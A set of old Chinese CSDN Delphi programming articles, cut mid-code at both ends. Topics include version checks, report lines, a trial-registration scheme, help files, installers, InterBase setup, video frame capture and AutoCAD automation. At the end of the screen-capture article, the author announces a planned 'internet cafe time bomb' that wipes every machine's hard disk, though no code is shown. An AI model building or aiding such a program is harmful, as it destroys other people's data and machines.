GetFileVersionInfo(PChar(ParamStr(0)), 0, VerInfoSize, VerInfo);
VerQueryValue(VerInfo, '\', Pointer(VerValue), VerValueSize);
with VerValue^ do
begin
Result.dwProductVersionMS := dwFileVersionMS; { 主版本 }
Result.dwProductVersionLS := dwFileVersionLS; { 辅版本 }
end;
FreeMem(VerInfo, VerInfoSize);
end;
然后使用如下的函数比较网站的升级版本和现在的版本，如果返回TRUE，说明有新版本文件：
function VersionCheck(OriVer,NewVer:TSimpleVersion):Boolean;
begin
if (OriVer.dwProductVersionMS=NewVer.dwProductVersionMS) then
begin
Result:=OriVer.dwProductVersionLS<NewVer.dwProductVersionLS;
end else
begin
Result:=OriVer.dwProductVersionMS<NewVer.dwProductVersionMS
end;
end;
到这里基本方法就介绍完了，我在DELPHI+WIN2000环境调试通过，这里我没有写出完整的代码，在我的主页我做了演示程序，大家可以下载慢慢研究。
我的网址是：http://DelphiBox.com 或 http://2ccc.com
如果有问题可以给我来信交流：mantousoft@vip.163.com

重庆 万重
西安科技学院143信箱 710054


CSDN_文档中心_用Delphi制作中国式报表

第十八期(5月17日): 电脑与生活
半年版名: 电脑与生活
半年栏目: 编程技巧
出版日期: 19990517
用Delphi制作中国式报表

    中国空间技术研究院物资部 史宝军
    在数据库应用程序开发中,系统设计员、程序设计员需要考虑的一个重要问题是如何设计和输出报表,在Delphi中我们可以采
用多种方案来解决这一问题。如运用OLE自动化技术将数据输出到MS-Word、MS-Excel中等,但其中最直接、最本地化的还是使用
Delphi3.0/40中的QuickReport报表组件。它是挪威QuSoft公司专门为Delphi 编写的,使用QuickReport可以迅速设计出符合西
方人习惯用的报表。
    然而,在设计中国式报表时,笔者发现在QuickReport中设计列与列之间的竖线和斜线比较困难;虽然QuickReport提供了
TQShape控件,使用该控件可以画出列与列之间的竖线,但如果用户不能正确地调整TQShape实例的高度,输出报表中的竖线不是不
连续就是超长,另外如果我们调整了某个Band的高度,我们将不得不调整该Band下的所有TQShape实例的高度;至于斜线,
QuickReport报表组件根本就没有提供这一功能。
    笔者认真查找了有关的资料,成功地解决了以上问题,希望能对大家有所帮助。
    解决思路
    以TQShape为父类,建立新的控件,新控件可以画竖线、斜线和反斜线。
    重载TQShape 类的Paint方法,这样在设计阶段可以非常直观地画坚线、斜线和反斜线。用户可以在设计阶段选择线的类型,
如果选择直线,控件自动将其高度调整为所属Band的高度,用户可以调整其横向位置但不能调整其高度;如果选择斜线,用户可以
根据需要调整斜线的长度和倾角。
    重载TQShape 类的Print方法,这样可以在运行阶段输出直线和斜线。
    说明:该控件只能画直线和斜线,如果读者需要画矩形和圆,可以使用TQShape控件来实现。
    控件设计步骤
    步骤1.使用Delphi提供的控件向导,选择TQShape为父类,建立新类TMyQRShape,并选择适当的包(Package),最后生成单元文件。
    步骤2.在生成的单元文件中,增加枚举类型。
    TLines = ( None,TopBottom,BottomTop ) ;None、TopBottom、BottomTop三种取值,分别代表直线、斜线 \ 和反斜线 /。
    步骤3.在新类TMyQRShape 中增加private 成员 FLineType:TLines ,增加published属性 LineType:TLines Read
FLineType Write SetFLineType。
    步骤4.建立过程SetFLineType。
    procedure
    TMyQRShape.SetFLineType(Value:TLines);
    begin
    if Value<>FLineType then
    begin
    FLineType:=Value ;
    Invalidate ;
    end ;
    end ;
    步骤5.重载Paint方法。
    procedure TMyQRShape.Paint ;
    begin
    case LineType of
    BottomTop:
    begin
    Canvas.MoveTo(0,Height) ;
    Canvas.LineTo(width,0 ) ;
    end ;
    TopBottom:
    begin
    Canvas.MoveTo(0,0) ;
    Canvas.LineTo(width,Height ) ;
    end ;
    None:
    begin
    Height := Parent.Height ;
    Top:=0 ;
    Width:=4 ;
    Shape:=qrsVertLine ;
    Inherited Paint ;
    end ;
    end ;
    end ;
    步骤6.重载Print方法。
    procedure TMyQRShape.Print(OfsX,OfsY : Integer);
    begin
    with QRPrinter do
    begin
    case LineType of
    BottomTop:
    begin
    Canvas.MoveTo(XPos(OfsX + Size.Left), YPos(OfsY + Size.Top)+Height) ;
    Canvas.LineTo(XPos(OfsX + Size.Left)+width,YPos(OfsY + Size.Top) ) ;
    end ;
    TopBottom:
    begin
    Canvas.MoveTo(XPos(OfsX + Size.Left), YPos(OfsY + Size.Top)) ;
    Canvas.LineTo(XPos(OfsX + Size.Left)+Width,YPos(OfsY + Size.Top)+Height ) ;
    end ;
    None:
    Inherited Print(OfsX,OfsY ) ;
    end ;
    end ;
    end;
    步骤7.保存并安装TMyQRShape控件。
    本控件在Delphi40下调试、安装,并成功地应用于某数据库管理系统的开发中。该控件的完整代码如下:
    源程序:
    unit MyQRShape;
    interface
    uses
    Windows, Messages, SysUtils, Classes, Graphics,
    Controls, Forms, Dialogs,
    QuickRpt, Qrctrls;
    type
    TLines = ( None,TopBottom,BottomTop ) ;
    TMyQRShape = class(TQRShape)
    private
    FLineType:TLines ;
    procedure SetFLineType(Value:TLines) ;
    protected
    procedure Print(OfsX, OfsY : integer); override;
    procedure Paint ;Override ;
    public
    published
    property LineType:TLines Read FLineType Write SetFLineType ;
    end;
    procedure Register;
    implementation
    procedure
    TMyQRShape.SetFLineType(Value:TLines);
    begin
    if Value<>FLineType then
    begin
    FLineType:=Value ;
    Invalidate ;
    end ;
    end ;
    procedure TMyQRShape.Paint ;
    begin
    case LineType of
    BottomTop:
    begin
    Canvas.MoveTo(0,Height) ;
    Canvas.LineTo(width,0 ) ;
    end ;
    TopBottom:
    begin
    Canvas.MoveTo(0,0) ;
    Canvas.LineTo(width,Height ) ;
    end ;
    None:
    begin
    Height := Parent.Height ;
    Top:=0 ;
    Width:=4 ;
    Shape:=qrsVertLine ;
    Inherited Paint ;
    end ;
    end ;
    end ;
    procedure TMyQRShape.Print(OfsX,OfsY : Integer);
    begin
    with QRPrinter do
    begin
    case LineType of
    BottomTop:
    begin
    Canvas.MoveTo(XPos(OfsX + Size.Left), YPos(OfsY + Size.Top)+Height) ;
    Canvas.LineTo(XPos(OfsX + Size.Left)+width,YPos(OfsY + Size.Top) ) ;
    end ;
    TopBottom:
    begin
    Canvas.MoveTo(XPos(OfsX + Size.Left), YPos(OfsY + Size.Top)) ;
    Canvas.LineTo(XPos(OfsX + Size.Left)+Width,YPos(OfsY + Size.Top)+Height ) ;
    end ;
    None:
    Inherited Print(OfsX,OfsY ) ;
    end ;
    end ;
    end;
    procedure Register;
    begin
    RegisterComponents(‘QReport', [TMyQRShape]);
    end;
    end.


CSDN_文档中心_用Delphi自制英语复读机

用Delphi自制英语复读机

关键词：Delphi控件杂项

用Delphi自制英语复读机
李晓平
英语已经逐渐成为一种世界性的语言，现代人学习英语的热情一浪高过一浪，所以，英语复读机十分的热销。但是，无论功能如何强大的复读机都有一个明显的缺陷——复读时间的固定的。如果复读时间太短，那么，当遇到长句子时就无能为力；如果复读的时间很长，使用时就免不了复读一些多余的部分，免不了进行快进（时下有些200秒的复读机具有快进功能），这与磁带的快进一样麻烦！所以，笔者想利用Delphi强大的媒体播放控件开发一个软件复读机。软件复读机最大的优点是，无论是句子的长短您都能自如地复读！绝对不需要倒带，也不需要快进。不仅如此，软件复读机还具有随机选读功能，这是一般复读机很不好实现的。

准备工作
Delphi的媒体播放控件可已播放各种声音文件。我们可以根据自己的喜好把学习资料录制到计算机中，存成合适的格式。一般可存成wave文件或mp3文件。

复读机的开发
开发软件复读机使用的主要是Delphi的媒体播放控件TMediaplayer。该控件在系统控制(system)页中。
首先创建一个应用程序。设定主窗体的BorderStyle为BsDialog，禁止窗体的放大与缩小。设定KeyPreview为True，让主窗体处理键盘事件。
在主窗体上放置以下控件（见图）：

其中：
媒体播放器是程序的关键控件，用来实现声音的播放。
TrackBar用来指示当前的播放进度。
左边的TlistBox(SectionList)用来存放将要播放的声音文件名（学习资料）。
右边的两个TlistBox(StartList、StopList)用于记录复读过的句子。
‘增加’与‘删除’按钮用于维护学习资料。
TrackBar1用于显示播放进程。
Timer1用于动态显示播放进度。
OpenDialog1用于选择播放文件。

复读功能的实现：
① 程序中设置两个整数（StartPos, SstopPos）用于记录播放的起止点，并在初始化时将StopPos赋值为-1。
② 每次播放时记录当时的起始值：StartPos := Mediaplayer1.Position;
③ 程序中用空格键控制复读，回车键继续放音。首先，设置主窗体的KeyPreview为True，使主窗体能够截获按键消息。然后，重载OnKeyDown方法。代码如下：

自由选读功能的实现：
由于在复读时记录了所有复读过的句子的起止点，所以可以进行任意一句的复读。当用户用鼠标双击‘往昔岁月’中某一行时，可直接切换到该句的播放。代码如下：
procedure TRepeaterForm.ListDblClick(Sender: TObject);begin SID := (Sender as TListBox).ItemIndex; //取得当前行的索引SID StopList.ItemIndex := SID; //将终点列表设置为SID StartList.ItemIndex := SID; //将起始列表设置为SID StartPos := StrToInt(StartList.Items[SID]);//取得开始位置 StopPos := StrToInt(StopList.Items[SID]);//取得终止位置 Mediaplayer1.StoP; //停止当前的播放 Mediaplayer1.StartPos := StartPos; //设置新的播放范围 Mediaplayer1.EndPos := StopPos; Mediaplayer1.Play; //播放指定范围的声音end;

学习资料的添加：
单击增加按钮用于增加学习资料。需要注意的是在增加新的文件之前应检索原有的列表，以防止重复。代码如下：
procedure TRepeaterForm.AddBtnClick(Sender: TObject);var fn: string;begin if OpenDialog1.Execute then begin fn := OpenDialog1.FileName; if SectionList.Items.IndexOf(fn)<0 then //先检索该文件，如果不存在 SectionList.Items.Add(fn); //加入到列表中 end;end;

学习资料的选择：
通过重载OnClick方法实现。先取得单击时的索引，然后通过Items[索引]取得文件名。将文件名赋值给Mediaplayer的Filename属性，然后调用Open方法即可。（代码略）
另外，在程序的初始化时要打开学习资料文件；程序退出时将学习资料存盘。这些功能都是通过TlistBox.Items.LoadFromFile和TlistBox.Items.SaveToFile实现的（代码略）。
该程序在中文Windows98+Delphi5.0环境下调试通过。全部源代码可Mail作者索取。

通讯地址：河北固安华北石油职工大学采油教研室 李晓平
E-Mail: lxp@htxx.com.cn

--------------------------------------------------------------------------------

欢迎阅读China ASP的专栏文章,需要转载请与我们联系

Copyright &copy; 上海聚声计算机系统工程有限责任公司 1999-2000, All Rights Reserved


CSDN_文档中心_用DEPHI为应用软件建立注册机制

用DEPHI为应用软件建立注册机制

    如何保护自己的软件不被非授权盗用的问题，始终困扰着每一个程序员。当前世界上保护软件的方法有很多，主要是采用加密（如加软件狗）方式或软件注册方式。使用软件狗等加密方法，虽然其保护最有效，但对授权用户的正常使用有一定的影响，而且软件发放比较复杂，在实际运用中比较少被采用。而注册登记方式则是当前最流行、运用最广泛的方法，虽然有许多通用软件其注册码可以很容易地被发烧友们所解，但对于独立程序员为某特定应用设计的应用软件而言，采用注册机制显得最经济、最方便，而且在一定的范围内非常有效。笔者在实际工作中，广泛使用了软件注册方法，有效地维护了软件的权益。
    DEPHI软件的功能极为强大，深受程序员喜欢。用DEPHI开发的软件，可以很方便地加入注册机制。下面笔者就如何在DEPHI开发的软件中加入注册机制与朋友们交流心得。
    要实现软件注册机制，需解决以下几个问题：1、如何加入注册检测，判断软件是否注册；2、如何隐藏注册码，及是否注册的标志；3、在软件不注册情况下，如何限制软件的使用时间或次数；4、对正常用户而言，不应造成使用不便。对于以上四个问题，如何隐藏注册码及是否注册的标志是关键。在WINDOWS95中，WIN95本身及大多数的应用软件都将其各种参数放入注册表中，因而注册表内的数据显得极为庞大和复杂。如果将注册标志隐藏在注册表的某一角落中，想要找到它并理解它是极其困难的事。因此我们可以利用这一点，在注册表的某个分支上设置一个从名称上看毫无特殊意义的关键字，将自己软件的注册标志数据存放在这里。以下是整个注册机制的流程框图：

    从上图可以看出，整个注册机制主要由两个部分组成：检查和注册。通过检查标志值，得出软件是否已注册；若没有注册，则要看它允许使用的次数是否已达到；若可使用的次数已用完，则应提示用户输入注册码，进行注册；只有用户输入的注册码正确时，才让用户继续使用软件，同时将标志置为已注册，让用户永久性使用；否则允许使用的次数未达到，应将次数加一；若用户注册输入的注册码错误或拒绝注册，则直接关闭软件，拒绝其继续使用。当然，在软件允许使用次数未达到时，也应通过菜单项为用户提供机会进行注册登记。以下是笔者在实际开发中，建立注册机制的程序代码及注释。

假设软件的主程序窗口为FORM1，则将该段代码置放在FORM1.CREATE事件中。代码如下：

procedure TForm1.form1create(Sender: TObject);
var
re_id:integer;
registerTemp : TRegistry;
inputstr,get_id:string;
dy,clickedok:boolean;
begin
  dy:=false; //软件是否已到注册期、及是否允许继续使用的标志，当值为FALSE是为允许使用。
  registerTemp := TRegistry.Create; //准备使用注册表
  with registerTemp do
  begin
      RootKey:=HKEY_LOCAL_MACHINE; //存放在此根下
      if OpenKey('Software\Microsoft\Windows\CurrentVersion\Mark',True) then
        // 建一目录，存放标志值。当然也可以存放在已存在的目录下。怎么样，很难发现吧？
        begin
          if valueexists('gc_id') then begin //用gc_id的值作为标志，首先判断其存在否？
              re_id:=readinteger('gc_id');//读出标志值
              if (re_id<>0) and (re_id<>100) then begin //若标志值为0，则说明已注册。
                            //若不为0且值不到100,说明虽未注册，但允许使用的次数尚未达到。
                re_id:=re_id+5; //允许标志的最大值为100，每次加5，则最多只可用20次。
                Writeinteger('gc_id',re_id);//将更新后的标志值写入注册表中。
          end;
          if re_id=100 then dy:=true; //假如值已到100，则应注册。
        end
      else Writeinteger('gc_id',5);//建立标志，并置初始标志值。
    end;
    if dy then begin //若dy值为TRUE，则应提示用户输入注册码，进行注册。
        clickedok:=InputQuery('您使用的是非注册软件,请输入注册码：',' ',inputstr);
        if clickedok then begin
            get_id:=inttostr(27593758*2);//注册码为55187516，当然可加入更杂的算法。
            if get_id=inputstr then begin
                Writeinteger('gc_id',0);//若输入的注册码正确，则将标志值置为0,即已注册。
                CloseKey;
                Free;
              end
            else begin //若输入的注册码错误，应作出提示并拒绝让其继续使用
                application.messagebox('注册码错误!请与作者联系!','警告框',mb_ok);
                CloseKey;
                Free;
                application.terminate; //中止程序运行，拒绝让其继续使用
              end;
            end
        else begin //若用户不输入注册码，也应作出提示并拒绝让其继续使用
            application.messagebox('请与作者联系，使用注册软件!','警告框',mb_ok);
            CloseKey;
            Free;
            application.terminate;
          end;
    end;
  end;
end;

（注：通过菜单进行注册的方法同本段提示用户进行注册的内容雷同，这里不提供代码。）

    以上程序代码已在DEPHI3.0/WIN95环境中运行通过，并在实际运用中得到验证。对合法用户而言，这样的机制，只要其录入注册码一次就可以，不增加其日常使用的负担；而对非法用户而言，除非他得到注册码或重装WINDOWS95，否则超过使用次数后，将无法继续使用。当然在实际应用中还有许多地方可以进一步加强反破解能力，欢迎朋友们提出批评和指导。

(福建　杨健珊)


CSDN_文档中心_用HtmlHelp组件在Delphi应用程序中实现Html帮助

一个对用户友好的应用程序是应该有完善的在线帮助的。.hlp格式的帮助文件作为Windows平台的标准帮助文件格式而得到了广泛的应用，同时也受到很多应用程序开发环境，比如Delphi等的良好支持。随着微软从Windows98开始支持.chm（已编译的 HTML 帮助文件）格式的帮助文件以来，这一界面更加友好的帮助文件格式得到了越来越广泛的应用。

目前，Delphi还不能象支持.hlp帮助那样直接地支持.chm格式的上下文帮助。但是，通过第三方的HtmlHelp组件，在Delphi应用程序中实现Html帮助变得同样简单。本文详细地介绍了HtmlHelp组件及其在开发Delphi应用程序中的应用。

1.下载HtmlHelp组件

HtmlHelp组件是在MPL许可证下发行的，该组件完全免费，并提供源代码供下载。下载网址为：http://www.serveisgirona.com/delphi/htmlh/index.htm。该组件的当前版本为1.0版。

2.安装HtmlHelp组件

打开下载得到的压缩包htmlpak.zip(无示例程序）或htmlall.zip（含示例程序），把它解压到一个目录下，比如\Delphi5\lib\HtmlHlp。在Delphi中打开该目录下的hhpack.dpk文件，将弹出包管理器。点击包管理器工具栏的Options按钮，在弹出的Project Options对话框的Directories/Conditionals选项卡上，将Unit output directory选项设置为$(DELPHI)\lib。点击工具栏上的Compile按钮编译该组件包，然后点击Install按钮安装它。在完成正确的安装后，在Delphi的组件栏上新增了一个名为HTML Help的组件面板，该面板上只有HtmlHelp一个组件。

3.HtmlHelp组件的属性和方法

HtmlHelp只提供了几个简单实用的属性和方法，下面对它们作一个详细的介绍。

3.1HtmlHelp的属性

HtmlHelp提供了如表1所示的三个属性：表1 HtmlHelp组件的属性属性名称数据类型类 型描 述 ChmFileStringPublished帮助文件的名称。你必须把该属性设置成帮助文件的绝对路径和文件名，否则在程序运行过程中改变当前目录时程序找不到相应的帮助文件。 WinDefStringPublished你在创建HTML帮助文件的时候可能创建了自定义的窗口定义。你可以在这儿指定你要使用的窗口定义。 DefautFileBooleanPublished你可以设置是否使用缺省的帮助文件名。当该属性设置为false时，组件将使用由ChmFile指定的帮助文件。如果你将该属性设置为true，组件将自动把ChmFile属性设置为空串，并在初始化时检查你是否设置了Application.HelpFile。如果设置了Application.HelpFile（在Project Options的Application选项卡上设置或者在程序初始化主窗体前用代码设置），组件将检查并展开该HelpFile属性值，以得到帮助文件的完整路径和文件名；如果你没有设置Application.HelpFile，组件将试图把帮助文件设置为应用程序所在目录下的与程序同名，但是扩展名为.chm的文件。 需要说明的是，在该组件的1.0版本中，在DefaultFile属性的实现上有一些问题，并不能象组件的帮助文档中所说的那样完成自动搜寻功能。你要么把DefaultFile属性设置为false，并在ChmFile属性中设置帮助文件的绝对路径和文件名；要么把DefaultFile属性设置为true，并在Application.HelpFile中指定帮助文件名（不能含任何路径信息）或帮助文件的绝对路径及文件名。笔者已经修改了该组件，并给组件作者发了信，相信作者很快就会推出修正版本。 3.2 HtmlHelp组件的方法 HtmlHelp提供了5个方法，用于控制显示相关的帮助窗口和帮助主题。表2 HtmlHelp组件的方法方法定义方法描述 function HelpContext(ContextId: DWord): Integer;显示与ContextId关联的帮助主题。如果一个窗体上的Delphi组件对象的HelpContext属性被设置，则在该对象获得焦点时，按下F1键后将调用该方法，并将HelpContext属性值传递给ContextId。 function HelpTopic(Topic: String): Integer;显示以Topic为主题的帮助信息。 function ShowIndex:integer;在帮助窗口的导航面板上显示索引页。 function ShowTableofContents:integer;在帮助窗口的导航面板上显示目录列表。 function ShowSearch:integer; 在帮助窗口的导航面板上显示搜索页。 4.使用HtmlHelp组件 HtmlHelp组件的使用十分方便。下面以一个简单示例来具体说明该组件的使用方法。该示例程序为一个简单的打开文件对话框，如图1所示。应用程序名为HtmlHelpDemo.exe。

图1 打开文件对话框

在Delphi应用程序设计中使用HtmlHelp组件实现Html帮助的步骤如下： ⑴创建CHM格式的帮助文件。你可以使用微软的Html Help Workshop（下载地址为http://msdn.microsoft.com/library/tools/htmlhelp/wkshp/htmlhelp.exe）来创建CHM帮助文件，也可以用第三方的帮助文件创作工具，比如Help & Mannual、DotHELP等软件来创建。具体的创建方法请参见相关软件的使用手册，这里就不加讨论了。但必须要注意的一点是，要在应用程序中使用上下文帮助，就必须为相关的主题指定一个相应的ContextID。在示例程序中，使用了一个名为HtmlHelpDemo.chm的帮助文件。该文件包含了4个主题，分别为打开对话框、文件名称编辑框、浏览按钮和文件类型复选框的帮助信息，相应的ContextID依次为1000、1001、1002和1003。 ⑵从HTML Help组件面板上把一个HtmlHelp组件放到应用程序的主窗体上，并设置其属性值。在本例中，因为打开对话框就是主窗体，因此该组件就放在它上面。通常情况下，可以直接使用其缺省的属性值，即将DefaultFile设置为true，然后使用与应用程序位于同一目录下，文件名相同而扩展名为.chm的帮助文件，或者在Application.HelpFile属性中设置要使用的帮助文件名。当然，你也可以在组件的CHMFile属性中指定要使用的帮助文件的绝对路径和文件名，但是不推荐这样做，因为通常不便于把帮助文件安装到固定的目录下。在本例中，全部使用了HtmlHelp组件的缺省值，并且没有设置Application对象的HelpFile属性。 ⑶为需要显示上下文帮助的组件对象设置HelpContext属性值。比如在图2中，把文件名称编辑框组件的HelpContext设置为1001。

图2 设置组件对象的HelpContext属性

⑷在其它需要显示帮助信息的事件响应过程中，调用HtmlHelp组件的相应方法。在本例中，当点击帮助按钮时，需要显示有关该对话框的帮助信息，其事件响应过程如下所示： procedure TOpenDlg.HelpBtnClick(Sender: TObject); begin HtmlHelp1.HelpContext(1000); end; ⑸完成应用程序设计的其它部分，并生成应用程序。在本例中，生成了名为HtmlHelpDemo.exe的应用程序，并且把帮助文件HtmlHelpDemo.chm拷贝到了相同的目录下。运行该程序，在文件名称编辑框获得焦点的情况下，按下F1键，弹出了如图3所示的帮助信息。

图3 文件名称编辑框的上下文帮助

点击帮助按钮时，显示了如图4所示的有关打开对话框的帮助窗口。

图4 打开对话框的帮助信息

5.结束语使用HtmlHelp组件，可以很方便地在Delphi应用程序中实现Html帮助。尽管可以通过直接调用HtmlHelp API等其它方法来实现该类帮助，但使用该组件无疑可以大大地减少编程工作量。


CSDN_文档中心_用InstallShield制作数据库应用系统的安装程序(2000年8月17日) 作者:新疆 宗宏斌

    Delphi具有强大的数据库应用程序开发功能，其Client／Sever版本可以开发一般的单机数据库应
用系统、普通Client／Sever应用系统直至基于Web的多层应用，其中自然离不开Borland数据库引擎
（BDE）的功劳。不过在没有安装过Delphi程序的计算机上运行数据库程序时，必须同时分发庞大的
BDE文件，Borland建议用户用Delphi附带的InstallShield制作安装程序来解决这些问题。但怎样选择
BDE文件才能使自己的安装程序更加精炼呢？我首先介绍一下其中几个必须的文件：

    Idapi32.dll：BDE基本函数库

    Blw32.dll：语言驱动函数库

    Idr20009.dll：错误信息库

    Fareast.bll：远东语言驱动程序

    Usa.bll：美国语言驱动程序

    以下文件为根据需要可选：
    如用Paradox，则应选择：Idpdx32.dll
    如用Dbase，则应选择：Iddbas32.dll
    如用Access，则应选择：Iddao32.dll
    如用Ascii，则应选择：Idasci32.dll
    如用TBatchMove，则应选择：Idbat32.dll
    如用Data Repostitory，则应选择：Iddr32.dll
    如用ODBC，则应选择：Idodbc32.dll
    如用BDE DataSet Provider DLL，则应选择：Idprov32.dll
    如用SQL查询，则应选择：Idsql32.dll

    下面我们就以用InstallShield来制作一个Paradox数据库应用系统的安装程序为例：
    1.启动程序设置有关文件目录路径，进入Setup Checklist；
    2.在Set the Visual Design中设置程序名、程序目录、安装程序主窗口等；
    3.在Specify Components and Files中设置Groups and Files项，在Program Files中加入用户
的所有程序文件和数据库表文件，以及下列文件：Idbat32.dll、Usa.btl、Idapi.cfg、Charset.cvb、
Bantam.dll、BLW32.dll、Idapi32.dll、Fareast.btl、Idpdx32.dll、Idr20009.dll、Idsql32.dll
（以上文件必须含目录路径）；

    4.在Dialog Boxes中设置所需安装对话框；
    5.在Make Registry Changes中设置Keys项，在
HKEY_LOCAL_MACHINE中加入software\borland\blw32和software\borland\database engine两项，并
且在blw32值中加入

    “Blapipath ‘以上文件目录’”、“LOCALE_LIB0 ‘以上文件目录’\Fareast.bll”和
“LOCALE_LIB1 ‘以上文件目录’\Usa.bll”，在database engine值中加入“Dllpath ‘以上
文件目录’”、“Configfile01 ‘以上文件目录’\Idapi.cfg”；

    6.在Specify Folder and Icons中根据实际要求设置有关项目；
    7.在Run Disk Builder中设置安装盘的有关信息；
    8.最后进行Test the Installation和Create Distribution Media即可完成安装程序的制作。


CSDN_文档中心_用interbase做数据库

DATABASE STEP BY STEP（－）

有没有想过做一个数据库实践一下？

下面我以interbase―――C++Builder，介绍一个简单的例子（不过很详细）。

为什么选择interbase呢？因为它的安装很简单，但配置等各方面却跟其它数据库差不了多少。选择C++Builder，一来是它更容易跟interbase结合，二来它的数据库编程比较简单易学。

Step1。建立自己的数据库（这里先只是建立一个数据库文件，为连接之用，后边在建立它的table）

首先在Interbase的Interbase Windows ISQL中Creat一个新的数据库（Create Database）：

＃选择Local Engine

＃在Database一栏中需要留心：此处要添数据库的完整路径及数据库的名称，最好带上扩展名*.gdb，例如：c:\database\mydatabase.gdb

＃User Name：SYSDBA

Password ：masterkey （如果你没有改过的话）

完工！你可以去看一下c:\database中是否已经有了mydatabase.gdb.

Step2。可以建立三种BDE与Interbase的连接（建立别名Alias）：

Method1. 用BDE中的IBLocal直接连接（最简单）

1．启动BDE Administrator；

2． 在左边的ListBox中选IBLocal，给它选择SERVER NAME： c:\database\ mydatabase.gdb，搞定！

Method2. 直接用BDE的Interbase驱动连接

1． 启动BDE Administrator；

2．在左边的ListBox中右键弹出菜单，“New”命令，再选择Interbase类型，“OK”

3．新的连接已经出现了，可以给它该个名。最重要的是――给它选择SERVER NAME： c:\database\ mydatabase.gdb

大功告成！

Method3. ODBC连接（最麻烦的一种）

1. 在“控制面板”中打开“ODBC数据管理器”，并选择“系统DSN”页面；（如果你用的不是Win2000的话，就安照上边的方法，否则，“ODBC数据管理器”应该在“控制面板”中的“管理工具”里边）

2. 单击“添加”按钮，在弹出的对话框中的ListBox中选择“INTERSOLV

Interbase ODBC Driver（*.gdb）”, “完成”；

3. 在弹出的对话框中：

Data Source Name： 给数据库起个名儿吧（就像给你的狗起个名儿一样）,比如mydatabase

Description： 可以不添，或者写你想说的话

Database Name： 这里要写数据库的全称，包括完整的路径，这里我们写上c:\database\ mydatabase.gdb

4. 该“确定”了（其它的等你有空再添吧） ！

5. 现在到BDE Administrator（SQL Explorer也可以）看看了。你是不已经看到了“狗名” mydatabase,如果是的话，恭喜，Connect完成！可以休息了。

你要是不累的话，在做一件事情（以后会方便一点）：

选中mydatabase,在右边的Definition的USER NAME写上：SYSDBA，

以后登录时就不用敲USER NAME，只要敲口令了。

以上三种方法中, 1和2是用C++Builder或者是Delphi开发常用的连接方式。方法3则亦可永远VC＋＋等开发工具。

下一期介绍interbase 中的数据类型，以及interbase一些重要的概念比如domain等。

(以上是“翻译+实践”完成，如有需要相关资料着，请 mail:

efoxxx@263.net)


CSDN_文档中心_用mediaplay实现抓图

关键字

小弟前段时间曾做过保证要公开该问题的code(vc,bcb,dephi)，刚开始小弟用拷屏的方法可抓下来总是黑呼呼的一片，后来在几位大虾的提示下用vc+directshow实现那该功能。

可这样一来，就必须用directshow来实现播放与初衷不合.从此我就钻进那死胡同，总是想将

directshow与activemove组件，directshow与mediaplay组件结合起来，利用IBasicVideo Interface来达到目标。可读遍那与此相关的directsdk的头文件，都没有找那结合的办法（那位大虾实现那，请指点小弟，小弟先谢那！）。一直苦无进展，市面上有关的书都翻遍那。无用！（可见那些所谓的“高级编程技巧”都是狗屁，难度大一点的问题都回避，全是乱抄，tmd骗子）,有一天小弟重读The IBasicVideo interface supports the video properties of a generic video window. Generally, this is a video renderer that draws video into a window on the display. (msdn),忽然记起在读dephihelp是有一段相似

TPaintBox provides a canvas that applications can use for rendering an image.(dephihelp)遂想用paintbox可能可以，try->success,code如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, MPlayer, ExtCtrls, StdCtrls, Menus;

type

TForm1 = class(TForm)

MainMenu1: TMainMenu;

filw1: TMenuItem;

open1: TMenuItem;

close1: TMenuItem;

Button1: TButton;

OpenDialog1: TOpenDialog;

PaintBox1: TPaintBox;

MediaPlayer1: TMediaPlayer;

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure PaintBox1Paint(Sender: TObject);

procedure open1Click(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

imgbitmap:TBitmap;

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

imgbitmap:=TBitmap.Create;

imgbitmap.Height:=200;

imgbitmap.Width:=200;

imgbitmap.Canvas.Rectangle(0,0,200,200);

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

imgbitmap.Free;

end;

procedure TForm1.PaintBox1Paint(Sender: TObject);

begin

PaintBox1.Canvas.CopyRect(Rect(0,0,200,200),imgbitmap.Canvas,Rect(0,0,200,200));

end;

procedure TForm1.open1Click(Sender: TObject);

begin

if OpenDialog1.Execute then

begin

MediaPlayer1.FileName:=OpenDialog1.FileName;

MediaPlayer1.Open;

MediaPlayer1.Display:=Form1;

MediaPlayer1.DisplayRect:=Rect(10,10,200,200);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

imgbitmap.Canvas.CopyRect(Rect(0,0,200,200),form1.Canvas,Rect(10,10,200,200));

PaintBox1.Invalidate;

imgbitmap.SaveToFile('d:\\1234567.bmp');

end;

end.

test环境win2000+dephi6.0

至于改bcb的code相信大家一目了然，我就不改那！,vc的code要的话，我过段时间公开！

还是《程序设计实践》上说的好“尽量用简单的方法解决问题".

另外小弟这段时间在写个“网吧定时炸弹”。设计主要功能是定时炸毁网吧所有机器的硬盘（定时功能是指由使用者指定发作时间）

所谓炸毁学的是泽民炸弹的做法，不过win9x,win2000,winxp都发作罢了。计划鬼门开的那天公开code，请到时候关注.

流浪的小狗没有一个家呀，没有一个家!


CSDN_文档中心_用Ole Automation实现Delphi和AutoCad之间的数据交换

用Ole Automation实现Delphi和AutoCad之间的数据交换
广州 XD.W

AutoCad是一些做设计的朋友最常用软件之一，有时需要从AutoCad的图纸
中提取数据进行一些计算和优化工作，用手工进行提取工作量非常大；用AutoCad
的AutoLisp、ADS或者ObjectArx进行计算，对不熟悉的人来说掌握起来比较困难，
界面也不够友好。下面我们通过Ole Automation，利用Delphi来实现这一工作，
相关的AutoCad Automation信息请参见AutoCad的帮助文件acadauto.hlp。
首先在Delphi中建立一个新工程，在主Form放置三个TButton，分别命名为：
btnOpen，btnSend，btnGet，用于实现打开AutoCad，向Cad发送数据，从Cad提取
数据的功能，再放置一个TPaintBox，用于实现输出功能。下面是程序的主单元代码。

unit main;
interface

uses
file://在引用单元中要包含ComObj单元，用于支持Ole操作。
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, ComObj;

const
file://定义AutoCad中的实体类型常量，本程序中只用到直线，所以只定义了直线的类型常量。
acLine = 19;

type
file://定义程序中用到的数据结构
ZPoint = record
x,y: double;
end;

PZLine = ^ZLine;
